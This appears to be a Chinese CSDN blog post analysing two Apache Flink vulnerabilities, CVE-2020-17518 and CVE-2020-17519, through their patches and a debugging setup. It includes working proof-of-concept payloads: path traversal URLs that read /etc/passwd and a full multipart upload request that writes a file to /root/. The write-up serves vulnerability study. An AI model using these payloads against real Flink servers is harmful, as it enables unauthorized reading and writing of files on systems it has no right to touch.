flink读取不到文件_Flink 任意文件读取和写入

本文分析了 Apache Flink 的两个安全漏洞,包括任意文件读取和写入。通过补丁代码展示了漏洞利用的可能性,并详细说明了如何通过特定的请求payload来触发这些漏洞。此外,还介绍了如何设置环境进行漏洞分析,以及构造PoC来演示文件读写操作。
摘要由CSDN通过智能技术生成

Flink 任意文件读取和写入

一、前言

Apache Flink 两个高危漏洞(CVE-2020-17518&CVE-2020-17519),分别是任意文件写入和任意文件读取.

二、commit 分析

原代码

String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);

补丁

String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();

通过补丁代码,粗略知道handlerRequest变量可控, 能够实现任意文件读取.

原代码

final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());

fileUpload.renameTo(dest.toFile());

补丁

final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName()); fileUpload.renameTo(dest.toFile());

通过补丁代码, 粗略知道fileUpload变量可控, 能够实现任意文件写入.

三、服务搭建 & 路由信息获取

服务搭建

1、下载包flink

2、开启 jdwp 端口

修改 cong/flink-conf.yaml 文件,增加

env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8006"

3、IntelliJ IDEA 打开第一步中的项目, 编辑远程调试配置

路由信息获取

访问 Flink Web UI, 访问页面, 让页面报错. 我这里通过上传一个非 jar 文件使项目报错, 然后获取日志, 看日志中异常信息

ERROR org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler [] - Exception occurred in REST handler: Only Jar files are

allowed.

然后在 org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler 下断点, 重新上传 jar 包. 再次访问时, 能成功触发断点. 通过调用栈, 找到该项目的路由类和路由变量.

四、漏洞分析

1、任意文件读取

通过上面获取到的路由变量, 在 get 方法请求中找到 JobManagerCustomLogHandler 这个处理类. 然后根据 pattern 获取到 JobManagerCustomLogHandler 能处理 v1/jobmanager/logs/:filename 和 jobmanager/logs/:filename 两种请求. 通过分析, filename可控, 并且对变量值做了两次url解码. 所以最终的payload有

http://ip:8081/v1/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd

http://ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd

2、任意文件写入

任意文件写入触发类是 org.apache.flink.runtime.rest.FileUploadHandler, 该类调用发生在路由解析之前, 而且filename可控

DiskFileUpload fileUpload = (DiskFileUpload)data;

Preconditions.checkState(fileUpload.isCompleted());

Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());

fileUpload.renameTo(dest.toFile());

LOG.trace("Upload of file {} complete.", fileUpload.getFilename());

fileUpload 会先在 /tmp 目录下缓存文件, 然后再通过 filename 将文件移动. 所以构造 poc 如下:

POST /test HTTP/1.1

Host: ip:8081

Content-Length: 208

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryw6W3L7dPchtqPO4f

Origin: http://ip:8081

Referer: http://ip:8081/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

------WebKitFormBoundaryw6W3L7dPchtqPO4f

Content-Disposition: form-data; name="xxxx"; filename="/root/test123"

Content-Type: application/octet-stream

test123

------WebKitFormBoundaryw6W3L7dPchtqPO4f--

然后我们会在 /root/ 目录下找到 test123 文件. 至于文件上传处理为什么放在路由处理之前, 有一点存疑

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值